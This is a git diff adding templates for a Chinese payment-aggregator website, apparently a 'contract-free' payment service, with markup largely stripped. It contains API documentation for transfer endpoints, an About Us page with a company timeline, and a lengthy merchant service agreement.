                            2、平台公钥(public key)用于接口返回数据、异步通知回调数据的验签。

                            3、具体发起支付相关流程的示例代码可下载SDK查看。

                            +
                            +
                            +
                            + + + + \ No newline at end of file diff --git a/template/default/doc/transfer_balance.php b/template/default/doc/transfer_balance.php new file mode 100644 index 0000000..c10a8cb --- /dev/null +++ b/template/default/doc/transfer_balance.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
                            +
                            +
                              +
                            • 目录
                            • +
                            +
                            +
                            +
                              +
                              +
                              + +
                              +
                              + +
                              +
                              + + + +
                              +
                              +
                              + +

                              可用余额查询

                              请求地址:

                              api/transfer/balance

                              请求方式:

                              POST

                              请求参数说明:

                              字段名变量名必填类型示例值描述
                              商户IDpidInt1001
                              当前时间戳timestampString172120607210位整数,单位秒
                              签名字符串signString 参考签名规则
                              签名类型sign_typeStringRSA默认为RSA

                              返回参数说明:

                              字段名变量名类型示例值描述
                              返回状态码codeInt00为成功,其它值为失败
                              返回信息msgString 成功或失败时返回提示
                              商户可用余额available_moneyString1.00单位:元
                              转账手续费率transfer_rateString3%
                              当前时间戳timestampString172120607210位整数,单位秒
                              签名字符串signString 参考签名规则
                              签名类型sign_typeStringRSA默认为RSA
                              +
                              +
                              +
                              + + + + \ No newline at end of file diff --git a/template/default/doc/transfer_query.php b/template/default/doc/transfer_query.php new file mode 100644 index 0000000..9e75574 --- /dev/null +++ b/template/default/doc/transfer_query.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
                              +
                              +
                                +
                              • 目录
                              • +
                              +
                              +
                              +
                                +
                                +
                                + +
                                +
                                + +
                                +
                                + + + +
                                +
                                +
                                + +

                                转账查询

                                请求地址:

                                api/transfer/query

                                请求方式:

                                POST

                                请求参数说明:

                                字段名变量名必填类型示例值描述
                                商户IDpidInt1001
                                转账交易号out_biz_noString2016080615134334919转账接口传入或返回的交易号
                                当前时间戳timestampString172120607210位整数,单位秒
                                签名字符串signString 参考签名规则
                                签名类型sign_typeStringRSA默认为RSA

                                返回参数说明:

                                字段名变量名类型示例值描述
                                返回状态码codeInt00为成功,其它值为失败
                                返回信息msgString 成功或失败时返回提示
                                转账状态statusInt 0:正在处理
                                1:转账成功
                                2:转账失败
                                转账失败原因errmsgString收款方账户异常status=2 时才返回
                                转账交易号out_biz_noString2016080615134334917
                                接口转账单号orderidString40001283951815782支付宝微信返回的转账单号
                                转账完成时间paydateString2024-07-01 16:47:32
                                转账金额amountString 单位:元
                                转账花费金额cost_moneyString 从商户可用余额扣减的金额
                                转账备注remarkString
                                当前时间戳timestampString172120607210位整数,单位秒
                                签名字符串signString 参考签名规则
                                签名类型sign_typeStringRSA默认为RSA
                                +
                                +
                                +
                                + + + + \ No newline at end of file diff --git a/template/default/doc/transfer_submit.php b/template/default/doc/transfer_submit.php new file mode 100644 index 0000000..eea89d9 --- /dev/null +++ b/template/default/doc/transfer_submit.php @@ -0,0 +1,216 @@ + + + + + + + 开发文档 - <?php echo $conf['sitename']?> + + + + + + + + + + + + + + + + + + + + + + + + +
                                +
                                +
                                  +
                                • 目录
                                • +
                                +
                                +
                                +
                                  +
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  + + + +
                                  +
                                  +
                                  + +

                                  转账发起

                                  平台需开通代付功能,且在商户后台开启代付API接口开关,才能调用本接口发起转账

                                  请求地址:

                                  api/transfer/submit

                                  请求方式:

                                  POST

                                  请求参数说明:

                                  字段名变量名必填类型示例值描述
                                  商户IDpidInt1001
                                  转账方式typeStringalipay转账方式列表
                                  收款方账号accountStringalipay@alipay.com支付宝账号/微信OpenId/银行卡号
                                  收款方姓名nameString张三选填,传入则校验账号与该姓名是否匹配
                                  转账金额moneyString1.00单位:元
                                  转账备注remarkString 选填
                                  转账交易号out_biz_noString2016080615134334917传入后可避免出现重复请求转账
                                  必须为19位纯数字,且以日期时间开头
                                  当前时间戳timestampString172120607210位整数,单位秒
                                  签名字符串signString 参考签名规则
                                  签名类型sign_typeStringRSA默认为RSA

                                  返回参数说明:

                                  字段名变量名类型示例值描述
                                  返回状态码codeInt00为成功,其它值为失败
                                  错误信息msgString 失败时返回转账失败原因
                                  转账状态statusInt 0:正在处理
                                  1:转账成功
                                  转账交易号out_biz_noString2016080615134334917可用于后续转账查询
                                  接口转账单号orderidString40001283951815782支付宝微信返回的转账单号
                                  转账完成时间paydateString2024-07-01 16:47:32
                                  转账花费金额cost_moneyString 从商户可用余额扣减的金额
                                  当前时间戳timestampString172120607210位整数,单位秒
                                  签名字符串signString 参考签名规则
                                  签名类型sign_typeStringRSA默认为RSA

                                  转账方式列表

                                  状态值描述
                                  alipay支付宝
                                  wxpay微信支付
                                  qqpayQQ钱包
                                  bank银行卡

                                  其他说明:

                                  • 如果返回的转账状态status=0,则需稍后调用转账查询接口查询转账状态。
                                  +
                                  +
                                  +
                                  + + + + \ No newline at end of file diff --git a/template/default/doc_old.php b/template/default/doc_old.php new file mode 100644 index 0000000..af33def --- /dev/null +++ b/template/default/doc_old.php @@ -0,0 +1,63 @@ + + + +
                                  + + +
                                  +
                                  开发文档
                                  + +
                                  +
                                  +
                                  + + + + + \ No newline at end of file diff --git a/template/default/foot.php b/template/default/foot.php new file mode 100644 index 0000000..09fea34 --- /dev/null +++ b/template/default/foot.php @@ -0,0 +1,40 @@ + + +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                    +

                                    关于我们

                                    +
                                  • 旗下的免签约支付产品
                                  • +
                                  +
                                    +

                                    联系我们

                                    +
                                  • QQ:
                                  • +
                                  • Email:
                                  • +
                                  +
                                  + +
                                  +
                                  +

                                    © All Rights Reserved.  

                                  +
                                  + +
                                  +
                                  +
                                  +
                                  + + \ No newline at end of file diff --git a/template/default/head.php b/template/default/head.php new file mode 100644 index 0000000..0eba3e8 --- /dev/null +++ b/template/default/head.php @@ -0,0 +1,73 @@ + + + + + +<?php echo $conf['title']?> + + + + + + + + + + + + + + + + + + +
                                  +
                                  + +
                                  +
                                  你当前的浏览器版本过低,请您升级至IE9以上版本,以达到最佳效果,谢谢!X
                                  +
                                  + +TOP
                                  + \ No newline at end of file diff --git a/template/default/index.php b/template/default/index.php new file mode 100644 index 0000000..18e2459 --- /dev/null +++ b/template/default/index.php @@ -0,0 +1,106 @@ + +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  ®免签约支付产品
                                  +
                                  +
                                  +
                                  +
                                  +
                                  多种支付方式 +
                                  支持财付通 支付宝 微信 QQ钱包
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  对接费率超低 +
                                  每笔交易手续费低至2%,比其它平台更便宜
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  无需自主提现 +
                                  满一定金额即可自动提现到你的支付宝账号
                                  +
                                  +
                                  +
                                  + + +
                                  +
                                  +
                                  + + +
                                  +
                                  +
                                  +
                                  +
                                  平台合作伙伴
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  + +
                                  +
                                  + + +
                                  +
                                  +
                                  + + \ No newline at end of file diff --git a/template/default/payerr.php b/template/default/payerr.php new file mode 100644 index 0000000..33ea1ab --- /dev/null +++ b/template/default/payerr.php @@ -0,0 +1,40 @@ + + + + + 错误提示 + + + + +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +

                                  该订单处理异常,已自动退款!

                                  +
                                  +
                                  +

                                  + 关闭 +

                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  + + + + + \ No newline at end of file diff --git a/template/default/payok.php b/template/default/payok.php new file mode 100644 index 0000000..0ce5de9 --- /dev/null +++ b/template/default/payok.php @@ -0,0 +1,78 @@ + + + + + + 支付结果 + + + +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  支付成功

                                  +

                                  支付成功,请回到网站查看订单

                                  +
                                  +
                                  +

                                  + 确定 + 关闭 +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + + + + + diff --git a/template/default/preview.png b/template/default/preview.png new file mode 100644 index 0000000..7a1041f Binary files /dev/null and b/template/default/preview.png differ diff --git a/template/default/wx.php b/template/default/wx.php new file mode 100644 index 0000000..c87e33c --- /dev/null +++ b/template/default/wx.php @@ -0,0 +1,32 @@ + + + + + + 微信转QQ余额下单教程 + + + + +

                                  微信付款不了解决方案

                                  +当您遇到微信支付失败,说明支付通道维护了,请先使用QQ/支付宝付款! + +
                                  下面我教大家如何把微信钱转到QQ!然后使用QQ支付即可,看下方截图! +
                                  微信支付方法: +
                                  +
                                  ①:在微信公众号搜QQ钱包 +
                                  +
                                  ②:可把余额直接转入你的QQ里 +
                                  +
                                  ③:使用QQ支付下单,就可以啦!
                                  +
                                  +
                                  +
                                  + +
                                  点击返回支付页面 + + \ No newline at end of file diff --git a/template/index1/aboutUs.php b/template/index1/aboutUs.php new file mode 100644 index 0000000..4bbe8a3 --- /dev/null +++ b/template/index1/aboutUs.php @@ -0,0 +1,197 @@ + +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +

                                  +
                                  成立于2016年10月,公司业务面向企业SAAS服务,
                                  主要核心产品是支付清结算云服务:云支付、云结算、云钱包、云电商、大数据;
                                  在此核心产品基础上为企业提供全面整套的互联网+解决方案,与企业开放、合作、共赢!
                                  我们为企业提供网上支付SAAS系统方案,企业只需要在平台注册商务服务账号,
                                  通过SAAS前台服务填写对应的参数,签订好相关的法律协议即可使用,
                                  无需企业再次开发相应支付系统,根据使用接口的情况收取服务费用,
                                  仅收取相应套餐费用和套餐内增值业务费用。 +

                                  +
                                  +
                                  +
                                  +

                                  + 发展历程 +

                                  +
                                  +
                                  +

                                  + 2016年 +

                                  +
                                  +
                                    +
                                  • +
                                    +
                                    +

                                    + 10月 +

                                    +
                                    +

                                    + 我们的公司成立了! +

                                    +
                                    +

                                    + 2016年10月,在中国注册成立。 +

                                    +
                                    +
                                    +
                                  • +
                                  • +
                                    +
                                    +

                                    + 11月15日 +

                                    +
                                    +

                                    + 开始制作我们的产品——! +

                                    +
                                    +

                                    + 2016年11月15日,团队组建完毕,一切准备就绪,终于要开始制作我们的产品了。 +

                                    +
                                    +
                                    +
                                  • +
                                  +
                                  +

                                  + 2017年 +

                                  +
                                  +
                                    +
                                  • +
                                    +
                                    +

                                    + 2月15日 +

                                    +
                                    +

                                    + 上线了! +

                                    +
                                    +

                                    + 2017年2月15日,经过三个月多月的努力和磨合,我们的产品要上线了! +

                                    +
                                    +
                                    +
                                  • +
                                  • +
                                    +
                                    +

                                    + 6月8日 +

                                    +
                                    +

                                    + 进行系统升级! +

                                    +
                                    +

                                    + 2017年6月8日,经过三个多月的运营,从中汲取经验后再由策划专业分析,我们的产品要升级了! +

                                    +
                                    +
                                    +
                                  • +
                                  • +
                                    +
                                    +

                                    + 12月7日 +

                                    +
                                    +

                                    + V2.0上线了! +

                                    +
                                    +

                                    + 2017年12月15日,经过两个月的努力技术开发和业务整改,我们的系统终于完成升级了! +

                                    +
                                    +
                                    +
                                  • +
                                  +
                                  +
                                  +
                                  +
                                  + +
                                  +

                                  + 联系我们 +

                                  +
                                  +
                                  +
                                  + ‍ +
                                  +

                                  + 公司地址 +

                                  +
                                  + 深圳市龙岗区布吉街道三联社区景芬路9号 +
                                  +

                                  + 邮编:230011 +

                                  +

                                  +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + ‍ +
                                  +

                                  + 联系方式 +

                                  +

                                  + QQ: +

                                  +

                                  + 邮箱: +

                                  +

                                  +

                                  +
                                  +
                                  +
                                  +
                                  +
                                  + ‍ +
                                  +

                                  + 关注我们 +

                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  + 加入我们 +

                                  +
                                  +

                                  + 如果你有兴趣成为我们的团队的一部分,请把你的简历和求职信至 + ,
                                  我们将很快与您联系。 +

                                  +
                                  +
                                  + \ No newline at end of file diff --git a/template/index1/agreement.php b/template/index1/agreement.php new file mode 100644 index 0000000..0e658cc --- /dev/null +++ b/template/index1/agreement.php @@ -0,0 +1,20 @@ + +
                                  +
                                  +
                                  +

                                  服务条款

                                  +

                                  请使用本支付系统前,先认真阅读商户服务条款,系统有权力随时更新条款,请您严格遵守我们服务条款内的条约,注册商户后则默认代表您已同意我们的服务条款。

                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  特别提示:

                                  本协议由系统和你共同签订,具有合同法律效力。

                                  请你务必审慎阅读并充分理解各条款内容,特别是免除或者限制责任的条款、争议解决和法律适用条款。免除或者限制责任的条款可能以加粗字体显示,你应重点阅读。除非你已阅读并接受本协议所有条款,否则你无权使用本服务。你使用本服务即视为你已阅读并同意本协议的约束。如你对本协议有任何疑问的,应向客服咨询。

                                  一、定义

                                  如无特别说明,下列术语在本协议中的定义为:

                                  1.1商户号:指你凭以登录,操作商户平台的账号,你成功申请商户号后,系统将向你在本协议中载明的联系邮箱发送电子邮件,告知你的商户平台登录账号及初始密码,你可在商户平台中修改该初始密码,你亦可根据需要在商户平台中为该登录账号设置对应的商户密钥,用来查询和操作系统商户号。

                                  1.2商户密钥:指你凭以登录,操作商户平台的账号密码,你成功申请商户号后,系统将向你在本协议中载明的联系邮箱发送电子邮件,告知你的商户平台登录账号及初始密码,你可在商户平台中修改该初始密码,你亦可根据需要在商户平台中为该登录账号设置对应的商户密钥,用来查询和操作系统商户号。

                                  1.3结算:指用户购买你的商品或服务后,系统在一定周期内将交易资金记账至你的系统商户号,并根据协议约定和你设置提现至你银行账户的行为。

                                  1.4提现:系统根据你指令或协议约定,在一定周期内向备付金存款银行发出转账指令,要求备付金存款银行将相应资金转账至你指定的合法收款账户的行为。

                                  二、服务内容

                                  2.1本服务的场景和功能。系统为你提供货币资金转移服务,当用户购买你的商品或服务时,可通过本服务完成交易。本服务的具体运用包括WAP支付,H5支付等

                                  2.2服务限制。本服务仅能用于你在商户平台申报并经核准的商品或服务,且每笔订单不能超过系统规定的限额。你了解并同意系统有权根据你经营的商品或服务类型,以及你经营活动的风险状况调整你的交易额度。

                                  三、系统的权利和义务

                                  3.1支付系统建设。系统负责支付系统的建设、运行和管理,并确保该系统的安全性。

                                  3.2交易查询。系统设立网上交易查询系统及查询接口,为你提供商户信息管理和交易信息查询服务。

                                  3.3支付指令校验。系统依据你的商户平台登录账号、登录密码来校验你支付指令的真实性、有效性。当你的商户平台登录账号和登录密码均校验通过时,即视为系你本人操作系统商户号,系统无需校验其他信息即可执行支付指令。

                                  3.4交易纠纷处理。系统仅为你提供货币资金转移服务,你与用户或其他主体之间的纠纷由你自行负责处理,与系统无关,但是,因系统系统故障引起的资金转移服务纠纷除外。

                                  3.5商户经营审核。系统有权定期或不定期审核你的业务类型,以及通过本服务售卖的物品和服务,若你违反本协议第2.2条约定或从事不符合国家相关法律法规规定的经营活动时,系统有权暂停或终止提供服务。

                                  3.6交易停滞。你自开户之日起6个月内无交易记录,或连续180个自然日未利用本服务产生交易额的,系统有权暂停服务并要求你重新核实身份,你不予配合或身份核实未通过的,系统有权终止本协议且无需承担任何法律责任。如果你的受理终端或收款码连续3个月内未发生交易,系统有权暂停服务并要求你重新核实身份,你不予配合或身份核实未通过的,系统有权停止为你提供收款服务。如果你的受理终端或收款码连续12个月内未发生交易的,系统有权停止为你提供收款服务。

                                  3.7延迟结算。系统发现你可能存在洗钱、恐怖融资、欺诈交易、信用卡套现、恶意倒闭或其他违法违规行为,或系统发现你存在集中转入分散转出等可疑交易特征的交易或存在争议交易时,系统可以对你系统商户号中的相应资金进行延迟结算,已经结算的,系统可以延迟转账到你指定银行帐户和支付帐户。对于延迟结算、延迟转账的资金,直至排除违法违规嫌疑时,系统才恢复该部分资金的结算和转账。你的行为导致系统遭受损失的,你还应当承担赔偿责任。

                                  3.8身份验证和授权。你使用本服务,即表明你同意系统收集、记录和使用你使用本服务过程中产生的相关信息和数据,包括但不限于你及其法定代表人、负责人的身份信息、账户信息和交易信息等,并将前述信息提交国家机关、金融机构和其他企事业单位进行身份验证和鉴权。系统有权根据需要收集、保存、核实你法定代表人、负责人的音频和视频资料。为更好地提供服务,系统及关联公司有权在法律允许的范围内自行收集、记录、使用上述信息和数据。

                                  3.9系统有权对你的业务进行风险管理,持续监测和分析交易金额、笔数、类型、时间、频率和收款方、付款方等特征,完善可疑交易监测模型。如系统发现交易金额、时间、频率与特约商户经营范围、规模不相符等异常情形的,有权对你采取延迟资金结算、设置收款限额、暂停银行卡交易、暂停使用权限等措施。

                                  四、你的权利和义务

                                  4.1账号开立和身份验证。你在申请开立系统商户号时,应向系统如实提供相关的个人信息。你应保证所提交的上述资料的准确性、真实性、完整性。你上述信息发生变更,或你迁址、停业、变更域名或联系电话等资料信息,应提前通知系统,否则,系统有权视具体情况暂停服务,你未及时通知导致的一切投诉和纠纷,均由你承担。系统有权根据国家法律法规、规章制度、行业规范、政策要求的规定,要求你补充提交相关信息和资料,你逾期未提交或未通过系统核验的,系统有权解除本协议或暂停你系统商户号的全部或部分功能。

                                  4.2账号使用。你不得把系统商户号、系统提供的技术接口、安全协议及证书用于本协议范围以外的用途,也不得出租、转让给第三方使用。你不得将其他商户的交易假冒成自己的交易与系统结算。你应充分了解并清楚知晓出租、出借、出售、购买账号的相关法律责任和惩戒措施,承诺依法依规开立和使用你的账号。

                                  4.3禁止存储用户敏感信息。你不得存储用户银行账户密码、银行卡的磁道信息或芯片信息、银行卡验证码和有效期等敏感信息,不得泄露用户信用卡信息和借记卡信息等。

                                  4.4账号保管和挂失。你应妥善保管系统商户号及其密码,以及手机短信验证码、API Key等。系统商户号下的一切行为均视为你的行为。若你需对系统商户号挂失,应及时与客服人员联系并按照客服人员的指引进行操作,若客服人员要求你提供书面证明材料才能进行下一步挂失操作的,你应及时提交书面证明材料。若你发现系统商户号被盗用,应立即向系统发起挂失。因你管理不善导致系统商户号被盗用的,一切损失由你自行承担。

                                  4.5止付和撤销。由于系统系统的实时性和不可更改性,你向系统发起的任何支付指令,在系统执行后,均为不可撤销或更改的。支付指令一旦被系统执行,你不得要求止付、更改或撤销。

                                  4.6规范使用。未经系统书面授权,你不得转载、复制、截取、篡改系统的商标、标识、Logo等内容或制作与该内容有关的衍生产品。未经系统另行书面授权,除了在商户中心登记的域名外,你不得在任何网页或APP页面展示与系统有关的链接、弹窗或与H5支付有关的内容及其衍生产品。

                                  4.7商户系统安全与维护。你应负责自身的硬件平台搭建并承担相关的设备费用及通讯费用。你应严格按照本服务和商户平台的接入技术规范来建设和运行自己的计算机系统并确保自身系统的安全性。你应在系统交易过程中验证系统请求和响应数据包中的签名真实性,并保障支付信息数据传输过程中的安全性、保密性。你应向系统明确各方数据传输协议、安全机制、硬件需求以及物理连接等诸多技术细节的具体需求,并妥善处理系统反馈的各种交易异常情况。

                                  4.8真实交易背景。你承诺发起的本服务交易基于真实的交易,不得利用本服务从事虚假交易。

                                  4.9保存订单信息。你应保证订单信息的合法性、真实性、准确性和完整性。你在受理用户订单时,须记录包括但不限于以下信息:用户姓名、手机号码,订购产品的产品名称、产品编号、产品单价、合计索取价格、配送信息。你应按系统的要求向系统提供详细的、真实可信的交易字段,包括但不限于订单号、商品名称、商品描述等。你还应妥善保留有关交易数据和凭证,包括但不限于订单和用户接受货物时签字的有关单据,由交易发生之日起或本协议终止之日起,至少保留三年。在协议有效期内和协议终止之日起三年内,对系统提出的查询通知及调单要求,你应在接到系统通知后,以信件或传真的方式在两个工作日内将相关单据交付给系统。

                                  4.10第三方网络交易平台。若你经营第三方网络交易平台,不得利用本服务从事非法支付结算业务,并应配备相应的系统、人员和完善的制度。你应当识别二级商户的身份信息和经营资质,并收集、保存二级商户的营业执照、税务登记证、组织机构代码证、法定代表人身份证明等,若二级商户从事国家规定专营、专控或需要取得国家前置行政许可的经营活动,还应提供该相关资质证照。你应保证二级商户所提交的上述资料的准确性、真实性、完整性。同时,你还应收集、保存并向系统传输二级商户的交易订单信息,包括但不限于:用户姓名、手机号码,订购产品的产品名称、产品编号、产品单价、合计索取价格、配送信息。你还应妥善保留二级商户的交易数据和凭证,包括但不限于订单和用户接受货物时签字的有关单据,由交易发生之日起或本协议终止之日起,至少保留五年。在协议有效期和协议终止之日起五年内,对系统提出的查询通知及调单要求,你应在接到系统通知后,以信件或传真的方式在两个工作日内将相关单据回复给系统。对系统提出的风险交易,你应按系统要求对其二级商户交易进行有效识别、追溯及在必要时实施暂停业务管理的措施,同时承担因二级商户发展和管理不善造成的全部风险损失,你应保证二级商户不再发展下一级商户。

                                  第三方网络交易平台,指在网络商品交易活动中为交易双方或者多方提供网页空间、虚拟经营场所、交易规则、交易撮合、信息发布等服务,供交易双方或者多方独立开展交易活动的信息网络系统。

                                  二级商户,指在你经营的第三方网络交易平台中销售商品或服务的自然人或企事业单位。

                                  4.11第三方网络交易平台的风险防范。若你经营第三方网络交易平台,则你需对二级商户的交易行为的真实性、合法性进行监控和管理,你应防止二级商户利用系统从事信用卡套现、洗钱、虚假交易等违法违规活动。若出现二级商户利用系统从事信用卡套现、洗钱、虚假交易等违法违规活动的,则系统有权解除本协议,并追究你的违约责任。

                                  4.12反套现、反洗钱。你不得主动或协助持卡人进行信用卡套现、洗钱、交易分单等违法经营行为,不得出现虚假申请、恶意倒闭等严重风险行为,否则,系统有权暂停或终止提供本协议服务,并将你的信息报送至中国人民银行和公安部及相关监管机构。

                                  4.13实物和虚拟。你需利用本服务同时经营实物类和虚拟类的商品或服务时,应当针对实物类和虚拟类的商品或服务分别申请系统商户号,不得用同一系统商户号同时经营实物类和虚拟类的商品或服务。否则,系统有权解除本协议,并追究你的违约责任。

                                  实物类,指需要物流配送的实物商品或需要记录和核实消费者身份信息的商品或服务;虚拟类,指非实物且不记录购买者身份信息,也无需物流配送的商品或服务。

                                  4.14安全守则。你不得对系统的计算机系统和程序采取反向工程手段进行破解,不得对前述系统和程序(包括但不限于源程序、目标程序、软件文档、运行在本地电脑内存中的数据、客户端至服务器端的数据、服务器数据等)进行复制、修改、编译、整合和篡改,不得修改或增加系统提供的任何服务的软件系统的原有功能。

                                  4.15你应切实维护消费者合法权益,不得对采用不同支付方式的消费者采取歧视性措施。

                                  4.16你应当遵守的其他义务:

                                  (1)不得将签购单、签购结算单、业务受理标识牌、终端机具用于系统核准范围以外的用途,也不得给协议许可范围以外的第三方使用;

                                  (2)不得将系统接口委托或转让给第三方;

                                  (3)不得招聘无本人身份证原件的人员作为收银员,不得让未经培训合格的收银员操作受理终端;

                                  (4)金饰店、珠宝店、名牌钟表店、金银币专卖店等风险较高的你必须加装录像监控设施,对支付过程进行清晰记录,录像资料保留时间不少于3个月;

                                  (5)对单笔交易金额超过(含)5万元人民币的系统交易核对用户身份证原件;

                                  (6)根据协议约定规范受理系统,在协议有效期内不得拒绝受理系统;

                                  (7)不得代其他商户发起交易,不得转卖、租借受理终端(网络支付接口)和银行结算账户;

                                  (8)不得要求其他商户代理发起交易,不得使用转卖、租借的受理终端(网络支付接口)和银行结算账户;

                                  (9)妥善保管交易数据信息,确保只有授权人员接触,建立健全的内部结算管理制度;

                                  (10)不得向使用消费者征收任何附加费或额外费用,或提供低于现金支付水平的服务;

                                  4.17保障消费者合法权益。你应切实维护用户合法权益,确保使用各种支付方式的用户均享受一致性公平待遇,不得向使用特定支付方式的用户转嫁或变相转嫁系统收取的服务费用,不得无理拒绝用户使用已经开通的支付方式。

                                  五、服务费用和交易结算

                                  5.1系统手续费(含税)

                                  5.1.1你使用本服务,应向系统缴纳系统手续费(以下简称”支付手续费”)。

                                  5.1.2系统将从你的每笔交易款中扣除一定费率的支付手续费,支付手续费的费率以商户平台核准记录的为准;在合作过程中,你可能因满足相关优惠条件而在一定期限内享受系统给予的优惠费率,当你不再满足优惠条件或优惠期限届满时,系统有权将费率恢复为原有费率,具体以商户平台核准记录的为准。

                                  5.1.3若遇国家政策调整,或中国人民银行、合作机构的政策调整,系统有权据此调整支付手续费率并对你进行通知,你在收到系统通知后五个工作日内对调整后的支付手续费率未提出书面异议的,按调整后的费率执行。双方无法就费率变更达成一致意见的,可终止本协议。

                                  5.2误差

                                  各方确认并同意,涉及费率结算如因小数点后两位进位而产生微小误差,各方均予以认可。

                                  5.3交易结算

                                  5.3.1系统在扣除支付手续费后,将剩余交易款记账至你的系统商户号。

                                  5.3.2你的提现账户为你申请本服务时提交的同名银行账户或其他存在合法资金管理关系的单位银行账户,若因你或银行的原因导致交易款项无法按时提现至你提交的银行账户的,系统不承担任何责任。

                                  5.3.3若你需变更提现账户或需授权结算,应与系统另行签订补充协议或在商户平台自助修改。因你变更账户或指定收款人但未及时通知系统导致增加的额外成本或任何损失,由你承担。

                                  5.3.4对于发生在T日的交易,若你没有进行特殊设置或操作,系统将按照商户平台核准记录的期限将扣除支付手续费后的交易款项提现至你银行账户,款项到账时间取决于银行系统的清算周期(若你是金融机构或是从事金融业务的其他机构,系统有权根据系统商户平台公告的时间,定期对你的系统商户号余额进行清零,并将对应资金提现至你的银行账户。你应在商户号被清零后及时充值,以免影响手续费、退款等资金结算)。

                                  5.3.5你可根据商户平台和系统客服的指引申请变更提现规则,最终以商户平台核准记录的为准。

                                  5.3.6若你接入本服务不满90日或者接入本服务后连续正常交易不满30日,系统不提供T+0资金提现服务,系统将该类你T日的交易资金记账至系统商户号的,你不得在T日划转该交易资金。无论你何时接入本服务,系统均有权根据你的经营状况、业务变化及实际赔付情况调整提现周期,并以电子邮件通知的方式通知你。

                                  5.3.7你与系统对账数据不一致的,以系统数据为准。

                                  5.3.8若你要求系统开具发票,应在首次开票前按照系统要求及时提交准确、完整的发票信息,系统每月就系统手续费向你开具上月增值税服务费发票。若你要求开具增值税专用发票,应向系统提交相关资质材料。

                                  六、保证金

                                  6.1系统有权要求你缴纳风险保证金,保证金额度以商户平台核准记录的为准。在本协议有效期内,风险保证金款项冻结于你保证金账户中,你不得提前解冻、提取或使用。

                                  6.2系统有权根据你的经营状况、业务变化及实际赔付情况调整你应当缴纳的保证金额度,并以电子邮件通知的方式通知你补足保证金金额,如你未能在收到通知后的五个工作日内补足保证金,则系统有权暂停为你提供服务。如你在收到上述通知后的三十天内未补足保证金,系统可单方解除本合同而无需承担任何法律责任。

                                  6.3若你在使用公众账号和本服务过程中没有违约行为,且你主动注销本服务满一年仍未受到任何第三方投诉或发生交易纠纷的,应解冻保证金账户的风险保证金,你可自主提取保证金本金,在此之前,你无权动用保证金本金,保证金解冻后无息归还你。

                                  6.4若你违反国家法律、法规、政策、法令或你违反对用户的承诺或违反与系统的约定致用户或系统受损时,系统有权直接使用你缴纳的保证金对用户或系统进行赔付,保证金不足以赔偿的,系统可以直接从你的待结算款项中扣划,仍不足以赔偿的,可以继续向你追偿。

                                  七、退款条款

                                  对于你的交易中出现的退款情形,按如下规则处理:

                                  7.1当你向系统提出退款请求时,你在自己的系统商户号中应有足够资金用于退款,系统有权直接从你的系统商户号中扣除退款金额完成退款,如因你资金不足导致无法退款的,其后果由你自行承担。系统按照你的退款请求处理退款时,如因银行原因或用户原因导致退款失败的,系统可将退款金额退至你的系统商户号,你可再次发起退款请求或自行处理退款。

                                  7.2退款时,系统不再另行收取交易手续费,但若银行方面需要向系统另行收取相关费用的,则此费用应由你自行承担,系统可在为你垫付该费用后在你的交易款中扣除。

                                  7.3你负责解决和承担用户拒付交易款项而导致的退款纠纷或责任。

                                  八、保密条款

                                  8.1除本协议另有约定外,未经一方书面同意,任何一方不得将本协议内容、用户个人信息、用户支付信息以及接口技术、安全协议及证书等透露给第三方。

                                  8.2各方对在履行协议中获得的商业机密和技术秘密负保密责任。出现下列任一情况时,系统有权披露你的相关商业信息:

                                  (1)人民银行或银保监会、证监会等金融业监管机构要求系统提供你的相关商业信息的;

                                  (2)公安机关、人民法院、人民检察院或有权行政机关要求系统提供你的相关商业信息的;

                                  (3)用户投诉,要求系统提供你的相关商业信息,经系统查实后认为可以提供的。

                                  本协议所称商业信息包括但不限于你与用户之间的交易单号、交易凭证、资金流水等交易信息。

                                  8.3各方保证其雇员及代理人履行本条的保密义务。

                                  8.4上述保密义务在本协议终止后五年内有效。

                                  九、违约责任

                                  9.1各方中的任何一方违反本协议中所做约定的义务,均构成违约。

                                  9.2你有下列情形之一的,系统有权单方面解除本协议并要求你承担相关赔偿责任:

                                  (1)直接或间接参与欺诈,或出租、出借、出售、购买银行账户(含银行卡)或支付账户,或在网上买卖POS机(包括MPOS)、刷卡器等受理终端,或涉嫌实施其他违法犯罪活动的;

                                  (2)经营及财务状况恶化无法正常经营,或被全国企业信用信息公示系统列入“严重违法失信企业名单”,或单位注册地址不存在或者虚构经营场所的;

                                  (3)你或其法定代表人、负责人被中国支付清算协会、银行卡清算机构、其他国家机关、企事业单位列入黑名单,或存在被国家机关、行业协会的处罚记录的;

                                  (4)实施违规操作,或违反本协议、《系统服务条款》、《微信公众平台服务协议》等约定,且经指出拒不改正或在合理期间内虽有改正但无法达到系统整改要求和目标的;

                                  (5)无理拒绝或故意拖延系统交易查询、调单查询或监查要求的;

                                  (6)进入破产程序、解散、营业执照被吊销;

                                  (7)实施有损系统或腾讯利益行为的;

                                  (8)违反本协议或利用系统提供的服务从事非法业务的;

                                  (9)你的软硬件系统存在安全问题,经系统通知后拒不整改的;

                                  (10)出现风险事件或经系统判断交易异常的;

                                  (11)违反系统的相关规则和制度的。

                                  十、账号注销

                                  10.1发生下列情形之一的,系统有权注销你的系统商户号,法律另有规定或本协议另有约定的除外:

                                  (1)你主动申请注销系统商户号的;

                                  (2)本协议解除或终止的;

                                  (3)你利用本服务从事非法活动的;

                                  (4)你违反本协议或违反与系统签订的其他协议的。

